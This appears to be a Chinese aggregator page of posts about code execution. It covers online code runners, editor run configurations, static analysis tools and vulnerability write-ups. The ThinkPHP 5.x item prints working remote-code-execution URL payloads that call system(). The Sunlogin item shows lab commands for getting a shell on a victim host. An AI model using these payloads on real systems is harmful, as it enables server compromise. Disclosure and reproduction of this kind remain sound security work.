-
2018-02-07 12:40:57
http://code.y444.cn
感谢留言的兄弟,这个网站非常棒,全屏体验非常好,支持 PHP/Java/C/C++/Golang/Python/Shell 等常用的语言。
http://demo.php.cn/
专门在线执行 PHP 代码的网站,快,代码窗口可以自动换行,但预览窗口不会自动换行,好在可以全屏预览。PHP 版本是 7.0.8。
http://anycodes.cn/zh/
可以在线执行各种语言,但是 PHP 的版本较低,低于 5.4 。
优点:速度快,稳定,支持多个文件(目前是两个)。http://www.dooccn.com/php/
可以在线执行多种语言,可以选择 PHP 的多个版本。php5.3 php5.4 php5.5 php5.6 php7。
缺点:速度比较慢。http://www.it1352.com/Onlinetools
支持几十种语言的在线运行。
缺点:对请求频率限制太严格了,一分钟不到十次吧。。。可以清理浏览器 Cookie 之后重新访问。必须用示例中的 Rextester 类作为类名。
可以嵌入到自己网站,比如 Java 嵌入语句如下:<iframe src="http://www.it1352.com/Onlinetools/OnlineCompileCommon/4?c_height=100&r_height=100&code=&autoExecute=true" style="width:520px;height:450px;"></iframe>
参数: c_height—>【源码框高度】 r_height—>【结果框高度】 code—>【代码片段(需URL编码)】 autoExecute—>【是否自动执行】
https://ideone.com
在线执行代码,然后生成分享链接。可以把链接发给别人,也可以嵌入网页。
优点:支持的语言多,版本新。PHP 版本是 7.1.0。
比如,下面这个链接是我执行代码后生成的,
https://ideone.com/uIdTu3
,对应的分享 JavaScript 代码为<script src="https://ideone.com/e.js/uIdTu3" type="text/javascript" ></script>
。https://tool.lu/coderunner/
各种语言都可以在线执行,PHP 的版本是 5.4.16。
登录后可以保存在线代码,可以嵌入博客。首页还有各种其他工具。
缺点:不是很稳定,sandbox 经常挂掉。出现这一句sandbox> exited with status 0
就表示已经挂掉了,需要刷新重连。这个应该是作者的博客
tool.lu技术架构参考这里,摘抄如下:
####背景
一个字,穷!在小流量的情况下,这个应该算是比较经济的解决方案了吧(各种容灾都没有,监控没有,服务的吞吐测试没有)。哈哈哈…
####后端的业务处理和服务
整个的网站都放在aliyun的VPS上。
由于工具网站的后端处理比较耗资源,于是将业务处理服务部署到了两台VPS上。(aliyun +1 & 美国 +1)
Redis只是做了少量的缓存作用,所以图中并未给出。Untitled.png
####面对前端的一些优化
cdn 现在全部都放在aliyun的VPS上。- 使用nginx的 nginx-http-concat 扩展合并多个文件请求。
- http_image_filter_module 进行一些图片的实时压缩计算
域名分别为 s1.tool.lu, s2.tool.lu, s3.tool.lu
####爬虫
现在所有的爬虫均基于Scrapy编写,全部部署在 美国的vps上;数据储存在MariaDB。
####虚拟化
主要用于一些不可信任代码的执行。选型Docker,可限制CPU和Mem,不能限制Disk,但是Docker在CentOS6.x下的问题较多,各种坑;最近使用CentOS7搭建之后貌似很Happy。
更多相关内容 -
ThinkPHP5远程代码执行exp利用工具safe6
2018-12-12 17:26:53危害:远程代码执行 目前,ThinkPHP已发布新版本修复此漏洞,请广大ThinkPHP站长尽快升级: https://blog.thinkphp.cn/869075 2018.12.11 说明: 漏洞检测,5.0和5.1都可以检测。 命令执行,文件上传只...影响范围:ThinkPHP 5.0 - 5.1版本。
危害:远程代码执行
目前,ThinkPHP已发布新版本修复此漏洞,请广大ThinkPHP站长尽快升级:
https://blog.thinkphp.cn/869075
2018.12.11
说明:
漏洞检测,5.0和5.1都可以检测。
命令执行,文件上传只支持5.0版本tp。5.1和5.0利用大同小异,不打算写。这只是个练手作品,也勉强可以用。
还是老样子,用bat打开,不然看不到日志输出。
url:需要加http,不支持https检测。
命令:命令就是系统命令,各位都懂。
文件名:上传到服务器的文件名。
好多回显没处理,勉强用吧
网站被我不小心重置系统,月底重开。
www.safe6.c
免责声明:
safe出品的所有程序,仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。5.1 的exp
命令执行:
http://url/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令
代码执行:
http://url/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1链接:https://pan.baidu.com/s/1dGazL6_INj85HhCt1yxIKA 提取码:r0aa
-
运行JavaScript代码片段的19种工具
2020-11-26 17:08:59前端日常开发中,我们使用喜爱的 IDE 调试 JavaScript 代码,比如我喜欢的代码编辑器有两个,Sublime Text 3 和 VS Code,前几年还使用过 Atom,偶尔我们会遇到临时需要快速分享给同事或者朋友一段代码的场景,那么...前端日常开发中,我们使用喜爱的 IDE 调试 JavaScript 代码,比如我喜欢的代码编辑器有两个,Sublime Text 3 和 VS Code,前几年还使用过 Atom,偶尔我们会遇到临时需要快速分享给同事或者朋友一段代码的场景,那么在线的 JavaScript 运行环境的重要性就体现出来了。
为了解决这样的问题,业界涌现出了很多很优秀的在线编辑器。比如 JS Bin、JS Fiddle、Code Pen、Code Sandbox 等,接触前端这些年也陆陆续续发现了一些不错的其他选择,再看下浏览器收藏夹,已经有20余种。
下面我们使用20种工具执行一段经过尾递归优化过的阶乘函数
1、使用 iTerm2
在终端工具中安装 node 环境,使用 node 运行环境来执行 JS 代码是我们学习 node 时候必知必会的一件事!
2、使用 Sublime Text 3
在 Sublime Text 3 中,我们可以使用 build system 来创建构建命令,使用构建命令来快速执行 JS 代码
- 快捷键:CMD + B
配置文件
首先安装依赖 babel-cli
npm i -g babel-cli
新建 build system
{ "path": "/usr/local/bin", "working_dir": "${project_path:${folder}}", "selector": "source.js", "encoding": "utf-8", "shell": true, "windows": { "cmd": ["taskkill /f /im node.exe >nul 2>nul & node $file"] }, "osx": { "cmd": ["killall node >/dev/null 2>&1; node $file"] }, "linux": { "cmd": ["killall node >/dev/null 2>&1; node $file"] } }
3、使用 VSCode
在 VSCode 中,我们可以建立一个 task 来运行 JS,实际上是借助内置终端来执行 node 命令运行JS!
快捷键:CMD + Shift + B
配置文件
/.vscode/tasks.json
{ // See https://go.microsoft.com/fwlink/?LinkId=733558 // for the documentation about the tasks.json format "version": "2.0.0", "tasks": [ { "label": "Run ES6", "type": "shell", "command": "node ${file}", "group": { "kind": "build", "isDefault": true } } ] }
4、使用浏览器控制台
我们经常使用浏览器的 Console 功能来调试 JS 代码,比如 Chrome 的 DevTools,火狐的 Web 控制台,这些我们已经不陌生了。
5、使用 Firefox 代码草稿纸
在 Firefox 浏览器中,有一个特别好用的功能叫 代码草稿纸,你可以在这里面输入一些 JS 代码执行查看结果。
快捷键:在火狐浏览器下 Shift + F4
6、使用 Chrome Sources 面板
Chrome 提供了强大的 DevTools,其中 Sources 面板允许你建立一些 Snippets 方便执行 JS 代码
快捷键:CMD + Enter 执行代码
7、使用 JS Bin
JS Bin 是一个开源的用于 debug web 应用的工具,工具面板具有 Console,可以用于执行 JS 代码。
https://jsbin.com/lumawugivo/edit?js,console8、使用 CodePen
CodePen 是一个非常棒的在线代码编辑器,几乎可以编写所有的前端Web应用。在这里使用它来执行一段 JS 代码真的是大材小用了。
https://codepen.io/9、使用 MDN 的 “JavaScript Demo”
经常查阅 MDN 的小伙伴一定能记得,在一些 JavaScript 文档中会有一个 JavaScript Demo小工具,比如说 JavaScript 标准内置对象 Function,在这里可以执行一些 JS 代码。
10、使用 PLAYCODE
PLAYCODE 提供了在线快速运行服务 Web 程序的环境!
https://playcode.io/11、使用 Flems
Flems 提供了一个 Web 开发环境,可以分享一些前端小demo
https://flems.io/12、使用 JSitor
JSitor 是一个不错的在线执行方法。 JS 代码工具,我比较喜欢它的代码截图功能,能生存很漂亮的代码截图图片,不过目前功能还不是特别完善,比如代码的高亮暂时是个问题。
https://jsitor.com/13、使用 Code Sandbox
Code Sandbox 是一个在线的可以创建Web应用,特点是可以使用一些类库模版,比如 React/Vue/Angular 是创作原型的好地方,我经常使用它来编写一些 Vue 小 Demo。
https://codesandbox.io/14、使用 Web Maker
Web Maker 是一个可以快速在浏览器创建离线Web应用,Web Maker 还提供了 Chrome 插件,可以离线使用!
https://webmaker.app/15、使用 LeetCode Playground
LeetCode 提供了优秀的 Playground 工具,支持各种语言版本切换,其中也支持 JavaScript,还能没事儿刷刷题不是
https://leetcode-cn.com/16、使用 Repl.it
Repl.it 是一个一站式可在线构建、协作的IDE,同时也提供了 Node 运行环境,还可以连接 github 使用 gist 同步代码片段!
https://repl.it/17、使用 RunKit + npm
RunKit + npm 在 npm 上我们能发现很多优秀的库,npm 提供了一个功能,可以使用 RunKit去运行测试你的 package,当然也能测试一段代码。
https://npm.runkit.com/18、使用 StackBlitz
StackBlitz 有在线 VSCode 之称,编辑器使用的是微软开源的 Monaco Editor,和 Code Sandbox 类似,提供了一些类库模版,已经完美支持Vue!
https://stackblitz.com/
19、使用 Plunker Next
Plunker Next 新版的 Plunker 提供了在线创建小 demo 的能力,同时也便于分享
https://plnkr.co/总结
其实对于我而言,如果想运行一段代码得到测试结果,最快的方式会选用浏览器控制台,因为浏览器就是最棒的工具。
如果想要写一个 demo 放在博客上,我会选择 jsfiddle、codepen、codesandbox,这里提供了写demo需要的一切。
如果想分享漂亮的代码片段,我会使用 Carbonize 生成一张图片,就像博文开头的那张图片。
使用在线编辑器的意义我觉得在于快捷、便于分享与协作,而最爱的其实还是VSCode。
没准儿你正在编写你的 playground,或者你有更好的工具,希望留言和大家一起分享!
感谢您的阅读,如果对您有帮助,欢迎关注"CRMEB"头条号。GitHub上有我们开源的商城项目,知识付费项目,均是基于PHP+vue开发,欢迎 Start、Fork,使用,关注我们保持联系!
-
软件著作权(软著)申请源代码整理工具
2018-08-27 13:12:19压缩包内包含代码及可执行程序。 vs2015 工程。 可直接运行 ./bin/release/ 下的exe,需要.net环境 工程由 https://download.csdn.net/download/boiciy/9879157 进行改编, 可以自定义行数,过滤自定义行等功能。 -
向日葵远控远程代码执行漏洞工具
2022-03-05 21:46:54向日葵远控远程代码执行漏洞工具漏洞简介
向日葵个人版企业版均受影响 for Windows <=11.0.0.33
SunloginClient 启动后会在 40000 以上随机开放一个web端口,认证有问题可以直接通过cgi-bin/rpc?action=verify-haras获取cid 执行回显rce
测试向日葵客户端漏洞版本:11.0.0.33826复现过程
环境说明
攻击机:192.168.0.23(Window10) 目标机:192.168.0.24(windows2012) 测试向日葵客户端漏洞版本:11.0.0.33826
扫描受害机漏洞端口
sunrce.exe -h 192.168.0.24 -ps -shell
获取受害机shell
sunrce.exe -h 192.168.0.24 -ps 49341 -shell
漏洞修复
厂商已发布了漏洞修复程序,请及时关注更新
原创不易,转载请注明出处
原文链接:https://qu1u1.cn/archives/%E5%90%91%E6%97%A5%E8%91%B5%E8%BF%9C%E6%8E%A7%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%B7%A5%E5%85%B7 -
推荐几个代码静态分析工具
2021-04-26 00:24:44关注+星标公众号,不错过精彩内容作者 | strongerHuang微信公众号|嵌入式专栏大家平时写代码,有用代码静态分析工具进行分析吗?可能很多人都没有对代码进行过静态分析,今天就来... -
简单代码生成工具
2021-07-21 15:39:46我们做项目的时候,经常会碰到写一些基础的增删改查代码,所以就写了个代码生成的工具,可根据自己的需求编写相应的代码模板。 大致思路 查询表信息,通过字段类型映射出 java 类型,然后通过模板生成 java 文件 ... -
静态代码分析工具列表分析---代码分析工具列表(30款工具)
2017-09-07 19:07:58本文是一个静态代码分析工具的清单,共有30个工具。包括4个.NET工具、2个Ada工具、7个C++工具、4个Java工具、2个JavaScript工具、1个Opa工具、2个Packaging工具、3个Perl工具、1个Python工具、1个嵌入式工具、2个二... -
【代码质量】C/C++代码静态分析与常用分析软件工具
2020-09-16 23:46:56程序静态分析(Program static analysis)是指在不执行代码情况下, 通过词法分析、语法分析、语义分析、控制流、数据流分析等技术对源代码进行扫描。 -
Spring Framework远程代码执行漏洞(CVE-2022-22965)
2022-04-06 15:21:131.漏洞描述 由于Spring处理流程存在缺陷,在JDK9...远程攻击者可利用该漏洞写入恶意代码导致远程代码执行。 2.影响版本 JDK >= 9 & 5.3.X < Spring Framework < 5.3.18 JDK >= 9 & 5.2.X ... -
Apache Log4j 2 远程代码执行漏洞详解
2021-12-11 11:43:08Apache Log4j2 远程代码执行漏洞的详细信息已被披露,而经过分析,本次 Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 ... -
RCE代码命令执行
2022-04-14 22:46:42代码执行(执行脚本代码) 命令执行(执行系统命令) 插一句不相关的 所有漏洞形成的条件 可控变量,漏洞函数 poc是用来检测有没有漏洞的 exp是用来利用漏洞的 代码执行 举例 <?php $code = $_GET['x']; eval... -
向日葵远程代码执行漏洞
2022-02-21 17:19:11向日葵远程代码执行漏洞 -
log4j2远程代码执行漏洞复现
2021-12-11 22:41:57log4j2远程代码执行漏洞复现-rmi方式代码侵入 -
向日葵远程代码执行漏洞复现过程
2022-02-25 18:18:08向日葵远程代码执行漏洞复现过程 -
静态代码扫描工具汇总
2019-11-22 09:44:42而静态代码扫描工具能够在代码构建过程中帮助开发人员快速、有效的定位代码缺陷并及时纠正这些潜在的问题。 通过调研,本文将着重介绍几款常用的静态代码扫描工具,这些工具分为几类: 轻量级静态代码扫描工具:Cpp... -
sunlogin rce向日葵远程代码执行漏洞
2022-02-17 10:13:23向日葵远程控制是一款...最近向日葵爆出了远程命令执行漏洞,复现如下 影响版本 向日葵客户端: 11.1.1 10.3.0.27372 11.0.0.33162 漏洞复现 向日葵客户端:10.3.0.27372 操作系统win7 x64 检测与利用工具: -
Windows下 C++代码检测工具
2019-07-06 12:53:22最近在查阅一些windows系统下的C++代码及性能检测工具, 按照检测类别分别静态检测和动态检测。 静态检测: 在程序没有被实际执行的情况下执行的计算机软件分析,大部分是对源代码的分析和检测。 动态检测: 通过... -
Java代码执行Linux命令
2020-04-27 09:50:002.创建一个Test.java类,并添加如下代码。 import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; import java.io.BufferedReader; import java.io.IOExcep... -
工具推荐:三款自动化代码审计工具
2018-05-05 18:09:46在源代码的静态安全审计中,使用自动化工具代替人工漏洞挖掘,可以显著提高审计工作的效率。学会利用自动化代码审计工具,是每一个代码审计人员必备的能力。在学习PHP源代码审计的过程中,本人搜集使用了多款自动化... -
CCMixer/CodeMixer工具,完美替代ChaosTool,iOS添加垃圾代码工具,代码混淆工具,代码生成器,史上最好用的...
2018-05-03 15:57:20手动添加太费时费力,在网上并没有找到合适的比较好的工具,就自己动手写了一个垃圾代码添加工具,命名为ChaosTool。 ChaosTool特点 - 自动定义变量/函数/属性 - 自动实现函数体 - 自动识别插入位置 - ... -
Apache Log4j2远程代码执行漏洞攻击,华为云安全支持检测拦截
2021-12-11 20:28:19近日,华为云安全团队关注到Apache Log4j2 的远程代码执行最新漏洞。Apache Log4j2是一款业界广泛使用的基于Java的日志工具,该组件使用范围广泛,利用门槛低,漏洞危害极大。华为云安全在第一时间检测到漏洞状况并... -
远程命令执行漏洞与远程代码执行漏洞33333
2019-10-05 21:09:25远程命令执行漏洞的原理 远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端 没有针对执行函数做 过滤,导致在没有指定绝对...上传jsp木马所造成的远程代码执行漏洞。 知默认情况下是禁止http请求... -
掌控者-封神台-Apache Log4j任意代码执行复现
2022-04-06 23:17:13Apache Log4j任意代码执行复现一、工具二、靶场三、步骤总结 一、工具 JNDIExploit-1.2-SNAPSHOT.jar 二、靶场 看网页源码 猜测就是username和password为注入点 三、步骤 vps有java环境 java -jar JNDIExploit-1.2... -
MyBatis-Plus代码自动生成工具
2018-07-02 17:37:26MyBatis-Plus(简称MP)是一个 MyBatis的增强工具,在 Mybatis 的基础上只做增强不做改变,为简化开发、提高效率而生。 特性 无侵入:Mybatis-Plus 在 Mybatis 的基础上进行扩展,只做增强不做改变,引入 ... -
【开源】代码审计(开发)利器—MYSQL执行监控工具
2018-06-05 16:44:20*这是一款MYSQL数据库SQL语句执行监视工具。这款工具可以更好的帮助你看Mysql数据库所执行的SQL语句!此款工具可以用于开发者开发之中或者代码审计的时候使用。查看在某个操作,所执行的SQL语句,从而进行定位操作。... -
Java调试技巧 打印代码执行时间方法
2019-11-13 16:03:39在调试代码时,我们想知道代码的执行时间,废话不多说,上代码,毫秒级检测 // 放在要检测的代码段前,取开始前的时间戳 Long startTime = System.currentTimeMillis(); // 放在要检测的代码段前,取结束后... -
Apache Log4j2远程代码执行漏洞复现及修复建议
2021-12-13 18:57:46环境:本实验使用vulfocus提供的Log4j2远程命令执行靶机。...由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。 影响版本: 经验证 2.15.0-rc1 版本存在绕. -
重复代码检查工具Simian
2020-01-01 17:46:06Simian是一个可跨平台使用的重复代码检测工具,能够检测代码片段中除了空格、注释及换行外的内容是否完全一致,且支持的语言十分广泛 官网 Simian官网:http://www.harukizaemon.com/simian/index.html 下载 在... -
在 main 函数之前执行代码(C 语言)
2021-09-07 16:05:04constructor 属性可以使函数在 main 函数之前执行